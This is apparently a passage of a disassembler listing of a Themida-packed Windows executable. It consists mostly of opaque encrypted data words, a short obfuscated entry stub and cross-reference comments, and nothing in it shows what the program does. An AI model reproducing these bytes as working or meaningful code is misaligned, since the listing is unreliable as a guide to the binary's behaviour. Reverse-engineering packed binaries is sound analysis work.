6B46A425h, 8586551Ch, 6C81C469h, 0BE6DB92Dh dd 3440C8D3h, 7A6F09BCh, 4CC490D6h, 116EEE07h, 600085DCh dd 21F667h, 904827F1h, 96E78DE2h, 0C5209E5Ch, 22C04031h dd 87980Ch, 8EA40B3Eh, 0D49A4721h, 304E5613h, 0E5EA1C81h dd 370E6CEh, 1076FCC4h, 8883AACEh, 304491B9h, 52162088h dd 34018179h, 30E499CBh, 0F18D3980h, 0AA5818A0h, 81BF9B3Bh dd 41CBC2F8h, 2E8216h, 2E13067Ch, 0A6001235h, 819F1D7Eh dd 12328041h, 0D0EC403Dh, 0E6E1DE10h, 18338900h, 0D969E975h dd 0E3E2C7h, 0D5C68C31h, 0AFB0BC9h, 0A014D124h, 18E29412h dd 0A301007Fh, 9C5C052Fh, 0BF06E730h, 0DE4819D2h, 90EC0061h dd 0CF09AA14h, 8F005DE3h dd 96C58B2Ch, 4CF4CEA9h, 2D0388F3h, 0B842CD20h, 0CACFE880h dd 78F3F6FCh, 26598468h, 0A0BF4BDh, 28C46C48h, 636EFA04h dd 0F8F2C2E2h, 0FB02E400h, 0CF20EE19h, 91C55602h, 444D937h dd 737B4084h, 13353089h, 88185C20h, 8200A42Ch, 568BE5D7h dd 7CA250B5h, 0C9C60019h, 28589B64h, 5D78A189h, 0DDB1FE16h dd 0EF94C830h, 3202004Bh, 7FC6C05Ch, 32E199CEh, 42AF00DCh dd 2643E1B6h, 0C9880F98h, 81B4E8EBh, 8C21E900h, 17F2DEEh dd 1D7CEC00h, 0E8BF8213h, 54AF5E9Bh, 0EDCF68E4h, 589E87A0h dd 750FFE9Fh, 0A5F70B90h, 64E20896h, 0DF200C00h, 8583FCEEh dd 7B5EFE00h, 0B95D76DDh, 44A600D9h, 0E2F82B3Dh, 0F7482C9Ah dd 222D00ABh, 63D55AF9h, 2B9202CAh, 8542C294h, 0C544447Eh dd 0C4412C32h, 7C4920EEh, 82A80658h, 0C2CBCF6Ch, 0F1F16196h dd 1F7743C4h, 426A734Eh, 5E066FE8h, 5D0184F8h, 410C8B93h dd 78732D3Ch, 8C10F92Fh, 1500D255h, 239FFC25h, 15A3FA0h dd 700B7B4Eh, 6B658B75h, 0A3C43420h, 7E910005h, 0CFF2C0A1h dd 0B41C695Ah, 0FCA8622Ah, 7A860124h, 0EC264800h, 13BB0804h dd 0F2450265h, 5EBD0080h, 0AC601EF8h, 0F4A706A6h, 0DA61A143h dd 0D372DC1Eh, 36B92080h, 39563515h, 2B3DCC0Ah, 2C9BC980h dd 9499CAF8h, 23C3B30Bh, 608C816h, 90BF02B6h, 0E32A43D6h dd 54805C56h, 0BB3DE44Eh, 0F5FFA14h, 0D43EBEC0h, 77FB6340h dd 3C0A9B95h, 0C001CC24h, 4B84D467h, 0A6CE18A0h, 1D7A3098h dd 1BD06020h, 0B8FCF105h, 0AC88EAEDh, 0CF052493h, 7C6600F5h dd 88B8840Eh, 8632D000h, 0F3260ACAh, 80589EEDh, 296B8769h dd 0EB005A68h, 0FA54C3BDh, 0E0CEF782h, 4E7509EDh, 2400DFE6h dd 0E9F45E97h, 3C89670Ah, 5C2CB803h, 0EB00CC11h, 9CA35F51h dd 0BD006C92h, 0C26F1CD4h, 5DAA7Dh, 799D1DDEh, 0D08FB707h dd 22A2E604h, 0BCCC96FFh, 0B4520014h, 0AFE2B6EEh, 180702A5h dd 7FFDDA60h, 0BC83E020h, 8047B09Fh, 0F06A9660h, 61E100E8h dd 5B6FA2ACh, 7300467Ch, 406B357Ah, 13C249B1h, 1138C99h dd 60DE4278h, 2541CCC9h, 0D3DAE700h, 0A1E2B554h, 0B4CA5846h dd 0B63BF4C1h, 77F010B0h, 0A7A312BDh, 0CDC42045h, 197335AEh dd 0E100A079h, 0D57DDE17h, 173837F4h, 851C8C83h, 15078278h dd 4A00D871h, 4B7C5A80h, 9D0B030h, 77B19BEFh, 8364A8h dd 0F4CC3DE1h, 0D099689Ah, 2742CB04h, 7B59CC8h, 15425C2h dd 99D2C1CAh, 860303Bh, 0C409CC27h, 72010188h, 0FBDFB029h dd 3D4FD434h, 7CBDC95Ch, 0A3752502h, 882C3F7Ah, 0F701EC2Ch dd 1239B47Eh, 3E41E830h, 245F7C1Dh, 384CB2F0h, 0AE598023h dd 25085BB1h, 768C0937h, 2471C579h, 8817B900h, 0A5FA57h dd 58A0CD16h, 95D16993h, 47B19A19h, 80223029h, 0BD910B07h dd 5023509Fh, 0C600596Ah, 37094C88h, 2AA18h, 48D480C4h dd 458F9A2Ch, 0A9145D03h, 0B073908h, 32358E20h, 590D0010h dd 0F41F6400h, 0A95E9454h, 978F0111h, 1CADF556h, 0ED2FD42Ch dd 3020B85Bh, 350FE3h, 0CDC6319Ch, 0E774D1FCh, 456EAC00h dd 0AAC77D1Ch, 0A4BE090Ah, 60E807D2h, 100B1D5h, 0E14A0503h dd 4901A65h, 6327ABCh, 4CB209h, 6DDE3568h, 0E60E60Fh, 965E64B9h dd 0CD14D317h, 3A52DAA8h, 162FBC00h, 26D8A67Eh, 3E4003F6h dd 38C06E18h, 6A06B617h, 287110C8h, 0A4DBDAh, 0EA9A040Bh dd 0F3CE9F26h, 2480B9Dh, 0A02A581Ch, 5C33D74h, 0B9E419h dd 0BDC179A1h, 0F380B8CBh, 33F8F50Fh, 4342060h, 2493B2AFh dd 40643053h, 8D79131Bh, 8887C42Eh, 0AF9A0903h, 5890844Fh dd 2751EA9Bh, 20E864h, 0BF296155h, 0D1253100h, 0BC65A0CBh dd 9E97F35h, 956AF9Ch, 0C097941Bh, 0B69D6ECh, 0D056A00h dd 36A946D4h, 4094B4B3h, 0CBCAFF82h, 0B2002F79h, 3B16F1C6h dd 5F435C1h, 5872F596h, 40FCF42Eh, 0C4CBBA09h, 64E465h dd 5A747875h, 89D1D31Bh, 91DCBE15h, 87C50010h, 334D140Fh dd 0C88902B1h, 0B445D981h, 3CF029h, 0A47982EAh, 2E5DD0FBh dd 90F7ED14h, 0E0A28E68h, 43D20AC0h, 7BC7E25Ch, 1199E60Fh dd 5A3D679Ah, 7A2DC0CCh, 6B75CBCh, 4278C801h, 3071FDBDh dd 0C1064584h, 59321AD6h, 0A9760031h, 0FD537B68h, 0D6E205A8h dd 2D0A5E04h, 14C21356h, 3B887A1Ah, 0BDBFAA3Dh, 38D0C982h dd 2461A146h, 3DB5D957h, 0E0058B0h, 0C08DB2D5h, 442C5B0Dh dd 0F37B00C2h, 1906AA78h, 6A27AFFEh, 504420E3h, 0FC2E3454h dd 0B0312D39h, 10ADB010h, 236E0503h, 0C0BFC8BAh, 1686F37Ah dd 5C9AD8h, 87E37806h, 0C4265984h, 43402045h, 17956052h dd 2D67AB5h, 3C941917h, 220E8CF1h, 0E85000AFh, 1FFAE2h dd 630B539Ah, 9D9849A2h, 9072AEAh, 0C3D2EACCh, 0C5687313h dd 4281BC01h, 47CABCBh, 12722F80h, 16003EC3h, 0C7F8B96Ah dd 1433E9E1h, 0A489BA4Ch, 0BD509701h, 6094A625h, 2616514Ch dd 183338F0h, 0AA5A9BD5h, 0BB8098D0h, 7B81F36h, 0F975401Bh dd 1996E5B5h, 0CC4D5839h, 181D82C0h, 8208C1FBh, 0F3C96110h dd 0C0BECD26h, 417EE441h, 9AD818F1h, 0BCC90BF1h, 0D400314Ah dd 0BACA898h, 0DC3383B7h, 0EA47A8B9h, 0E9CD1EBDh, 10D2C0B0h dd 59EE2BCFh, 3607FFECh, 99DF0784h, 545B2610h, 8908B158h dd 5C98C8A3h, 0AE09D3D8h, 399383h, 0FA4DA40h, 282E4C3Ch dd 0E48F3085h, 94940714h, 64971880h, 0A6D1DDh, 4202B901h dd 529217EAh, 141ABB3Eh, 7B8461FEh, 60718Ah, 461D17B4h dd 5E0AD56Bh, 0B87F42EFh, 401FCC09h, 3EE97050h, 0E03DD44h dd 92C95D69h, 8B4DD4A0h, 593C0700h, 8243A429h, 8E21282Bh dd 42891E94h, 6E25042Ah, 0B350C8D5h, 48F07100h, 51993FE9h dd 27580170h, 0D3AC0486h, 3E7031B1h, 0EEDDB820h, 0A94D60B7h dd 9693D02Ch, 3D0E8538h, 1C177FA5h, 78A3F15Dh, 5B31A70Eh dd 494FBAE3h, 924C80ACh, 0CCB9F689h, 62A72780h, 0B0767Eh dd 695D1391h, 0E6A1343Bh, 871A8C01h, 0FA323EAFh, 85D1A2F5h dd 1E464C48h, 4015DDC9h, 5DA69891h, 0F826D24Dh, 404068EDh dd 1B1E8A1h, 4CCA2F7Fh, 2C831C63h, 85039644h, 91D8CD91h dd 5C805711h, 9499B90Bh, 1A0035CCh, 1D50148Dh, 0A634BF9Ah dd 0DED700F4h, 4A234F7Ch, 6500A639h, 0EFE0C53Dh, 2D25902Fh dd 9804138h, 2C9B99E7h, 0ABFB931Dh, 0AC158A01h, 5C207A64h dd 761424E5h, 7CC025ACh, 0A5020B95h, 42F754Ch, 6C8448EDh dd 0E9502810h, 365E006Ch, 0E7CD1F39h, 0BA13ED1Eh, 88A2E315h dd 8E752300h, 48E542EEh, 0E4337B00h, 0FB346573h, 1326FAD3h dd 0F2BD3074h, 8091F68h, 0BA9E987h, 0A0C655B3h, 2DF0CCh dd 62DF0D20h, 2B7C7A06h, 70FBBB02h, 7EC8308Ah, 0E65C6080h dd 3D03B9F7h, 9035D7A7h, 679B89D2h, 331BEC72h, 66F0A134h dd 21057073h, 9B5B04B6h, 1D80ECE8h, 94221ADCh, 239FAF02h dd 0AE486C1Ch, 0B5D62010h, 1F89325h, 0A129D024h, 6EAF9BE9h dd 0D43A2437h, 4A798A80h, 12F67752h, 0D816C4h, 7118FF87h dd 0A212B12Dh, 8232F3Dh, 1E539089h, 2EB507D9h, 20BFC619h dd 0AAD29E74h, 6646012Fh, 683050ACh, 41B1021Ch, 0E1D9A99Ch dd 0BAFB1860h, 427FFD00h, 0C7B06CC3h, 748FA06Ah, 0A05B0112h dd 435308Bh, 10003A8Ch, 971D6BB1h, 0A2601F61h, 180A1833h dd 0FC063ED6h, 2AD78259h, 6090B778h, 34001595h, 9D6F95Eh dd 0F07D25h dd 0BF105586h, 8B9A8156h, 5A97263Ah, 211AD800h, 244C9435h dd 60E8A9B5h, 63C736B8h, 0DDD6BA0Bh, 1F54E486h, 1EEEC9D2h dd 990640E9h, 351FA23Ah, 19C9785Ch, 0D4294DCBh, 745E2Bh dd 0C11333F3h, 721F88CDh, 6930B19Ah, 12C5263h, 819B718Ch dd 2EF988BFh, 69073C09h, 0D930AFECh, 9A8000FBh, 0B1E9B577h dd 8614F1DCh, 80B8EDF4h, 94AF1ECEh, 0B4A90437h, 0B4E4889Ch dd 2D00C9D0h, 41CA59BAh, 1CCB53C5h, 0C0B42283h, 0BE3337C3h dd 0E901291Fh, 6D87D9BFh, 4763BF4h, 4EB73Ah, 72D1FEFBh dd 1930ED30h, 9AAD0874h, 6734BE68h, 0A5E9F043h, 1E056959h dd 48098B4Eh, 30D374B8h, 1281D08Ch, 5838700h, 8B6CC2D7h dd 85E3040Eh, 0BCA49A8Dh, 82B98188h, 0F520D0AEh, 0F020509h dd 0C830A2C9h, 0BC0E3580h, 0BFBB5D63h, 62B9BA80h, 44AD13h dd 0D8156AA6h, 0A5721CC8h, 3879580Bh, 6688086h, 2CD4E709h dd 0A5B4B53Fh, 3DA54420h, 0E624D6D3h, 3740B4E5h, 777D5885h dd 877A0155h, 3CD96175h, 80646C13h, 0FA1056F3h, 48060309h dd 69EA5FD2h, 622659C9h, 3B820A70h, 0CC2B07Fh, 0B4C407h dd 7FE0CB20h, 0E9AA1EB6h, 37D95900h, 326A8164h, 0CD1D09FFh dd 0E44409EDh, 7A3AC5FAh, 4A730086h, 715C7B21h, 3B1BFED2h dd 420922C1h, 0FCDA2C3Ch, 8340454Ch, 0D0980F5Ah, 3B8AB863h dd 0F4A5B7h, 2E70020Bh, 5E85FBD8h, 0EF0635EAh, 42C92F72h dd 40075EE9h, 513E9444h, 5EFE96FBh, 0CB09C6B0h, 59263C33h dd 0E80A94D4h, 0FCC1A04Ch, 143A45C3h, 0DAA57BC0h, 16B9001Ch dd 17B0295h, 1F176C36h, 820435Ch, 0AF1079h, 0D594D4ACh dd 0A42A64B0h, 139C1500h, 0ABF5F72Ch, 0A73C0131h, 0B9E31202h dd 87B86C56h, 0BCB0EE19h, 7674FAF4h, 0F09A073Fh, 0AD153F1h dd 7B71D68h, 2078586Eh, 68B97A36h, 0C60EA800h, 73677F93h dd 8B509451h, 948018A7h, 0A006CA28h, 0D70C21F4h, 798D3697h dd 673300BEh, 0C8E285F2h, 5100F04Fh, 0E55BE945h, 0FFAD36h dd 11D7BE03h, 15963068h, 614DD10Fh, 20A0EE84h, 32192F60h dd 54BA1C31h, 0FC8E001Bh, 0C93A6586h, 69CE9F00h, 0DF8FBCBh dd 0B796006Dh, 30A1FC01h, 0D8031821h, 6ACD72A7h, 50510099h dd 80C46ECFh, 9200F7CBh, 0D138C0A7h, 7158679h, 77D7A4B4h dd 3032D6EBh, 1B6EBF00h, 0A1262310h, 3C63FC47h, 86809011h dd 60AC147Dh, 3A7D159Ah, 8EFCD3B8h, 31694B00h, 0BFA20C8Fh dd 276D0033h, 0C243D9EEh, 760163AAh, 0A8D17787h, 99802069h dd 0FEF3395Bh, 0F47FC074h, 95B87000h, 0FF60C7E5h, 1F77544h dd 0D15814C5h, 83086150h, 8D6AC039h, 0DDC8B0EDh, 69E80314h dd 33BB4A70h, 7B3F2019h, 0DBF011D4h, 0E87532h, 75768723h dd 3B77B21Bh, 0CF09E9C0h, 354D78h, 0E6B74433h, 15FA7E21h dd 5C0087F8h, 3A4209EFh, 1F7F9Eh, 0A997AEAAh, 64CF0C80h dd 0E71CE50Ch, 0BA0F0B6h, 42BC2874h, 3BEB7880h, 250D45DAh dd 20BEFB20h, 18E67A60h, 0A9B8440Ch, 55312F70h, 6BA6409Fh dd 0BAC57040h, 0F56100BBh, 9AA1CB13h, 2179C9E1h, 72D45B00h dd 8FCE7986h, 0A6D17D14h, 0FAEC8Ch, 0C80959EFh, 8FCF4A60h dd 0A5C86F54h, 620E1BE6h, 866A26h, 0C823CC3Eh, 0B1670063h dd 42BD1AB8h, 80ED2225h, 0F4F940D1h, 0C9CA6Ah, 0BD026CBh dd 350CD8E4h, 0D4BFE700h, 0D1FEA7Fh, 50E20011h, 0A557D28Ah dd 0E5002C0Bh, 5E5B0501h, 84D316h, 0D287F431h, 8B6FBF95h dd 27290307h, 4570F0B0h, 1C18539Bh, 3DA4F5E5h, 653F18F7h dd 8AC3680Fh, 780052E6h, 1FBD0C1Eh, 0A3BE848h, 0F180D25Ch dd 890618C5h, 0CC508BAEh, 320127FAh, 0E2194B54h, 0D930C84Dh dd 0F34106F1h, 310BD798h, 2DBF39h, 0EB7274CEh, 9AA71Ch dd 0A6665849h, 0D0F0319Eh, 0BD8B2300h, 0F9549C36h, 0B1BF072Ch dd 0EFE57616h, 39520783h, 801FA83Ah, 1E262D6Fh, 22499Ch dd 0CD65C784h, 0FA8CD807h, 0A8BFE600h, 7CE3F243h, 3DB10C73h dd 4BE96642h, 6FE22801h, 9F30CD86h, 0FE84C20h, 4133D6BFh dd 0B1ADA20h, 810002B5h, 0B68F28D2h, 3135D96Bh, 4380345Bh dd 4725FC68h, 0F92CB00Fh, 0A0146015h, 1C096D7h, 0D13DBF70h dd 203BAA37h, 24788E62h, 4B8F9000h, 8AAEB006h, 1D0E0085h dd 0EE6A2C2Ah, 23009D29h, 352DF955h, 0ADF1C6h, 189B434Bh dd 0F7FF6A97h, 2892B402h, 0A51C6CDAh, 0B020D684h, 114C6A5h dd 0EC2645E4h, 0DCB2DDFDh, 8506D1D6h, 0EF9B1D03h, 45350028h dd 1147D767h, 1603066Bh, 1849ABF7h, 7A211DD9h, 0E5C14065h dd 9E84ACB3h, 584F7800h, 24B03C2Fh, 8F66035Eh, 263D42C0h dd 3EEA8900h, 9F45F609h, 44080185h, 0A2CF1BF9h, 3AA1BE84h dd 9B6A0028h, 2D72192Bh, 0E8B318B4h, 0FA0D4030h, 44043100h dd 2549A52Ah, 1E613018h, 0B34CD690h, 0B5004375h, 6C3A3026h dd 7B4D6647h, 6B0B007Dh, 538CDD3Fh, 9A00CC23h, 0F40E761Ch dd 0E5E56AF5h, 45EC77F1h, 0D8241136h, 7B95030Bh, 98F92FFBh dd 0DC90CAh, 6818056Ch, 8865249h, 0E71D8BF6h, 0B1076A9Eh dd 8F80CC20h, 2EA88Ah, 65313099h, 26CF45C8h, 1D3BAFE8h dd 618230F3h, 94AA7Dh, 8932BB3Ah, 0D14FAFC0h, 0E0A1B17Eh dd 88060839h, 13078F89h, 0ED647260h, 0CC9FA553h, 8A34CBC1h dd 18E7D0C8h, 31FAADB4h, 20016BD5h, 0B19167F2h, 19928C2Ah dd 1BCB0235h, 0EC444381h, 5262FD00h, 463F2E13h, 964201F3h dd 38EDDDA5h, 22E07F3Ah, 0FB310CFDh, 4E4907CEh, 0DC00FA71h dd 39D0B656h, 1729E2Bh, 0AC444680h, 602345FDh, 43376B94h dd 370069D0h, 7BF73281h, 44DB004Ah, 3982270Ch, 0F53B0AB8h dd 2410CC41h, 0A4CEA46Ah, 6C81AE11h, 80081EA0h, 102088h dd 0F84481BDh, 8250748Bh, 23ADD309h, 0A0102E64h, 55FA0642h dd 18AFF492h, 49053D3Fh, 1124CD7Dh, 9700DDC0h, 0D8C4E57Eh dd 4CCB005Dh, 2B1E8DDDh, 540F81D4h, 0B73C9Bh, 9A516BD2h dd 0E49080h, 69AE47CDh, 49ED88EEh, 2D9B4600h, 851DBF6Dh dd 31A324B2h, 2CB58760h, 0D8AE2208h, 1D44C4A3h, 1BE70801h dd 8EE4A396h, 4CCA69F4h, 510070F4h, 76B88F8Ch, 7A522AACh dd 3CDA01E0h, 3FE12ECCh, 0E7002823h, 0B02FA653h, 0D000C2B4h dd 16808373h, 40DB42B3h, 95014F0Ch, 106F4EE9h, 0E0DCCC8Dh dd 81120071h, 0FB9F193h, 2900BA94h, 0BC14C016h, 88F92D97h dd 7000BD35h, 6A51A0FAh, 0E0850729h, 918B044h, 0D34241BAh dd 0C0B68401h, 0F3EAD037h, 0B42E3D2Ah, 31114500h, 7A1228A2h dd 7C73031Dh, 0D1D879A9h, 0FA3676D0h, 0A9EC6C30h, 1B98F81h dd 0FB1E6F8Dh, 232AE4BBh, 8ECF00F8h, 3F2CA828h, 181F7140h dd 0A9AACEEEh, 0FC03C564h, 0BD82BA6Fh, 2AD6F028h, 756709D9h dd 64019983h, 1080CEF8h, 708FE23h, 0E648E7BCh, 9E6BAE27h dd 0BD418C0Eh, 4055F5BFh, 336C53C4h, 20F9AF1Eh, 0CBC0B100h dd 57DBE08Bh, 4C00F468h, 0A42A45D1h, 8C102BE4h, 3F242014h dd 0EEAB4384h, 26D67498h, 0FEE27EFCh, 5F6C3B26h, 291B6600h dd 26CBCFE4h, 4F00D821h, 39C17EC0h, 0BF76FCAEh, 0B9847316h dd 0A81F5B13h, 0D4E6174Ah, 41124E80h, 7DD4892h, 0C9160110h dd 8E33D060h, 0CB0C652Dh, 0B12FE8B2h, 0E9592AFAh, 749048BCh dd 333421Ch, 0D626C0CDh, 3451A180h, 6A05E4A8h, 0E5AF51Eh dd 0DC69944Eh, 0D6CCD41Eh, 0B2A97Ch, 2F3DE24Ch, 1875D002h dd 5599DD60h, 1E48BC1h dd 0BD479DA6h, 225AA0D9h, 867314F4h, 7B22E4h, 0B1C30490h dd 47520C8Ch, 49DC1830h, 0EE644227h, 437008Dh, 0C6E39FD9h dd 0B20040D2h, 237E15E0h, 2CBD0AFh, 603B0670h, 0B460789Bh dd 0E602D8DFh, 82C569C9h, 0F8C443h, 98784C5Ch, 0CBDFD7D2h dd 0E27B8A00h, 577EF9C2h, 0B71B0050h, 1EC012E1h, 0DD5C3522h dd 0A6AA0016h, 48CBDA79h, 89413E38h, 0A9B4C65Eh, 26FA671Dh dd 4011E35Ah, 983D92D0h, 0D177A01Ch, 9821008Bh, 5FF6327Ch dd 1F543C8Ah, 0F100FDB4h, 0F2BC6A81h, 23083FAh, 0E56955DBh dd 0E8444432h, 0BEC36C00h, 65FDCC34h, 0F88300D2h, 0F97BFCDCh dd 0F700707Ch, 80345385h, 90D75C63h, 411D16ACh, 0F2370107h dd 437FD16Ah, 790535A1h, 0CF442FADh, 1218C40h, 0B5DEB78Eh dd 39740E80h, 0D912E238h, 800743E9h, 2773B9B1h, 0D541151Dh dd 2526E077h, 19C101CAh, 0F4099185h, 70A052F2h, 0AF7EFA2Ch dd 0A3F11400h, 8705181Ah, 0A3C78A0h, 9F744D9h, 45F40194h dd 803151B9h, 99EF4739h, 5B3E0CCh, 0C2AE6E3Eh, 8D9CC0D4h dd 0E9005ED2h, 5489CB46h, 149AC62Ah, 98433EAFh, 9988A280h dd 6005D21h, 0F0691041h, 52E825h, 2FBBECE4h, 70C89A35h dd 0F69B0901h, 0DF18A075h, 4E9DE050h, 0B6B5001Dh, 85FC7277h dd 0FA153F17h, 199863E2h, 5DA92C47h, 2ED588F0h, 0F24E3Ah dd 0A5E944EDh, 4F0E93D4h, 0A5B8D7BCh, 70C8ADCEh, 29D92C0Ah dd 0B42A607Ch, 0D4765CCFh, 71C1F160h, 0E0E3EF4Bh, 6E8B32Ch dd 1175D722h, 0F3420700h, 0A72E04DAh, 6DBA05CBh, 8CD74739h dd 110006C4h, 0A74D8DD8h, 2E58793Ch, 35661FBh, 0C5334FE8h dd 0F4872A91h, 3098F44Dh, 302064D2h, 187393D5h, 0F2832EC6h dd 9F58ADF3h, 0A9100E8Ch, 9A1780E2h, 4C7B990Ch, 0FD87CCD7h dd 0B640007Ch, 0B900CF20h, 4F61497Dh, 0E24A1CA3h, 2A8524F4h dd 24723E39h, 81C720h, 5732D2B2h, 2499238Dh, 0BEDA6403h dd 3882CC85h, 4418220Bh, 905639C0h, 78805700h, 0D1D6C014h dd 0DEF8006Bh, 45BED4CEh, 3500E8F9h, 7CAEE3BFh, 7132D005h dd 0C5710047h, 86AC6A41h, 1369D468h, 77A08059h, 108563h dd 0C7F5DFC8h, 0FBFB023h, 0CA656100h, 0D29503A3h, 0DC8B3033h dd 3B385370h, 5C528C90h, 0F09B00E8h, 59FD403Ch, 52C4A8CEh dd 189223h, 0BB2A5C30h, 81EFA84h, 434BDB0Ch, 0EAFB29A7h dd 97BA00EFh, 369D687Dh, 433C1647h, 49F901C4h, 0C0922F6Ah dd 0F89E1BF0h, 0CB39C0B4h, 0DB8A7206h, 715C660Fh, 67BE479Dh dd 30BC2EB0h, 2A2D0090h, 8461EDF3h, 0B07C1B29h, 0E7196B2Eh dd 0AFCFD401h, 0BC646223h, 3DB100A6h, 0A39A9347h, 0C6133F68h dd 0B400D93Ah, 0A9F0C7DFh, 0E49F5002h, 1CB0B1D2h, 79084083h dd 0A3571EEBh, 1A0FD37Eh, 604DB03Fh, 6AFA505Ch, 9F230ACAh dd 1DA0E0C4h, 43028BE7h, 58189090h, 486D5D00h, 8804C21Bh dd 7E283FB1h, 690ECF98h, 0FA00F497h, 0E390E1C0h, 0CE4A17h dd 70FF14A4h, 0DC8AC36Eh, 0D24CE801h, 0D55D5E85h, 0CC40F6D1h dd 749F033Bh, 0AECF16F9h, 6A8C2232h, 9C4312h, 27911C0h dd 622D9817h, 32CF2C3Eh, 9018810Ch, 0E0C78394h, 70820223h dd 0B343D0A9h, 0C4C8C8A0h, 0C300CA5Ch, 8290AC19h, 0F30579h dd 1DFD2BD5h, 0D7D83EFAh, 1A089761h, 7C8080ADh, 0EFB6A707h dd 0AF3D0269h, 66A48E9Eh, 0C387005Fh, 1C8C3ADEh, 4068831Ah dd 0DA89E772h, 9518FC11h, 7A5948BFh, 0AAD20CE4h, 676930E5h dd 0CFED3D00h, 1378316Ah, 205E0CE0h, 502122C6h, 291F4800h dd 2FBE6DC3h, 651906F5h, 0A1CD9FBFh, 0DC99951Dh, 2CA23030h dd 181C6F48h, 2AC52107h, 6E200024h, 55532C8Ch, 0C37821C0h dd 0F2CB6DC8h, 0D70C0114h, 167F88B6h, 170BECCh, 9D04AADAh dd 49832AE5h, 88D49606h, 6624B0D0h, 0DC654000h, 0AB732012h dd 0B4D20002h, 47ACBFB1h, 6A48685Fh, 0EEF80CD2h, 0F2B113Ch dd 446DF9BCh, 5170A600h, 7C0ED973h, 985533A3h, 0F2596818h dd 27B40053h, 6E2FEA92h, 2BE4226Bh, 80054FCh, 0A4A8A940h dd 0CDE22Dh, 0F5602C0Fh, 0A36472ABh, 0BF307CF6h, 9944705Eh dd 0A2151873h, 0EDBB1158h, 641E3BF0h, 1DDE51D4h, 0F9971100h dd 5C1D38Ch, 3AE77877h, 0FF012FCCh, 0B6FFh db 3 dup(0) ; --------------------------------------------------------------------------- loc_548BDF: ; CODE XREF: Themida_:loc_4E1265j ; DATA XREF: Themida_:loc_4E1086o jmp loc_54C110 ; --------------------------------------------------------------------------- dd 7 dup(0) ; --------------------------------------------------------------------------- public start start: push esi mov fs, word ptr [esp+0] ; --------------------------------------------------------------------------- dd 0 dd 54C9BC18h, 4 dup(0) dd 81660619h, 7 dup(0) dd 530788ACh, 0Ah dup(0) dd 25C0000h, 1F472A36h, 2, 0 dd offset byte_59CC5F dd 4 dup(0) dd 0FFFFFFFFh, 0FDCh, 0C202ECh, 0 dd 0FBA82FEFh, 4 dup(0) db 0CCh align 4 db 64h, 90h dw 761Ch dd 7FFE0304h, 3 dup(0) dd offset loc_59D97E dd 0 dd 0FFA49233h, 2 dup(0) dd 4, 32h dup(0) dd 0A31568h, 18h dup(0) dd 191D6D37h, 5 dup(0) dd 13D8E05Dh, 2870000h, 0 dd 6936h, 7 dup(0) dd 7A09B0FDh, 6 dup(0) dd 76FACA04h, 2 dup(0) dd offset loc_5BE058+2 dd 10000h, 2A200h, 0 dd 77F51254h, 0A1D554h, 2B34BE89h, 7FFE0304h, 0 dd 0B2A1FEh, 3 dup(0) dd 7FFE0304h, 2 dup(0) dd 0FFFF5E94h, 0ACh, 0 dd 0D4D0A9DEh, 77DD23D7h, 77E776CDh, 35Bh, 1, 3 dup(0) dd 24h, 2 dup(0) dd 12FF64h, 4 dup(0) dd 0FFFFFFFFh, 4 dup(0) dd 77E7A5FDh, 57CDB4D1h, 7 dup(0) dd 7FFE0304h, 0 dd 86B3B64Ch, 5 dup(0) dd 0A33268h, 8 dup(0) db 0CCh db 5Eh, 0DDh, 77h align 10h dd 8001FCFCh, 4 dup(0) dd 0A10FE6h, 0A69995h, 0 dd offset byte_58F88C align 8 dd 1, 9 dup(0) dd offset off_57AEE7 dd 0Ah dup(0) dd 0BBBFFDD4h, 9 dup(0) dd 0D06C5A8Ah, 7 dup(0) dd 80A06CE1h, 5834DBh, 3 dup(0) dd 1, 7 dup(0) dd 1, 5 dup(0) dd 110h, 3 dup(0) dd 0B52Ah, 8 dup(0) dd 77E7C726h, 0Bh dup(0) dd offset loc_582202 align 10h dd 564F1B51h, 0 dd 4000F0h, 3 dup(0) dd 0EE713013h, 59FBD2h, 0 dd 801474E6h, 24B7FFFh, 4 dup(0) dd 46615CDBh, 0 dd 0EC271FA3h, 3 dup(0) dd 77E7A099h, 2 dup(0) dd 98h, 7FFE0304h, 3 dup(0) dd offset loc_57BA78+3 align 10h dd 0CE8h, 2 dup(0) dd 0A270C4h, 3 dup(0) dd 0EAF6F5B8h, 0A280105h, 5 dup(0) dd 2430008h, 0FFA7FFDDh, 0 dd 1446D0h, 4 dup(0) dd 6784h, 3 dup(0) dd offset dword_57364C align 10h dd 0EBAE06D7h, 0A29499h, 2 dup(0) dd offset dword_5794A8 align 8 retf 0E7B4h ; --------------------------------------------------------------------------- db 0B4h dd 3 dup(0) dd offset dword_549B78 dd 5CECh, 0 dd 7FFE0023h, 2 dup(0) dd 0FFFF9148h, 12FF60h, 0C4h, 3 dup(0) dd 7F39F899h, 169Ah, 0A29C37h, 6 dup(0) dd 8001FCFCh, 0 dd 0A8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 7FFE0304h, 0 dd 6784h, 0A269DDh, 0A29234h, 6 dup(0) dd offset byte_58F88F dd 25h dup(0) dd offset loc_5883DC+3 dd 0B90000h, 6E08h, 0 db 90h db 93h, 44h, 7Fh aThemida db 'Themida',0 dd 20h dup(0) dd 0FFA34096h, 0 dd 0D6Ch, 3 dup(0) dd 13D8E05Dh, 3 dup(0) dd offset loc_59EC74+1 dd 15h dup(0) dd 0C0000h, 2 dup(0) dd 0FD3AC2E0h, 5 dup(0) dd 0FFFF96ECh, 0E284EA00h, 8012A405h, 3 dup(0) ; --------------------------------------------------------------------------- test [edi+0], ah add [edx+ebx*8+46h], al retn 0 ; --------------------------------------------------------------------------- align 4 dd 0FFFF9148h, 0A269DDh, 2 dup(0) dd 7FFE0304h, 2 dup(0) dd 0A269DDh, 0 dd 901A2B11h, 9 dup(0) dd 77D40000h, 464934EBh, 0A209F7h, 5 dup(0) dd 7FFE0304h, 54C9B384h, 3 dup(0) ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0D7h, 5Bh, 0 dd 0 dd offset loc_57CC3E dd 12FF54h, 3 dup(0) dd 34h, 0FFFF982Ch, 0 dd 77E74A3Bh, 4 dup(0) dd offset loc_582202 align 8 dd offset loc_58A240 dd 77F7EBB3h, 3 dup(0) dd 77E6D706h, 2 dup(0) dd 77E776CDh, 2 dup(0) dd 0FF5D5FF1h, 0A323E8h, 0 dd 0CB1A7h, 2 dup(0) dd offset loc_573570 dd 0Eh dup(0) dd 80529E7Ch, 5 dup(0) ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0A9h, 5Ch, 0 align 8 dd 0FFFF990Ch, 0 ; --------------------------------------------------------------------------- jmp near ptr byte_54963D ; 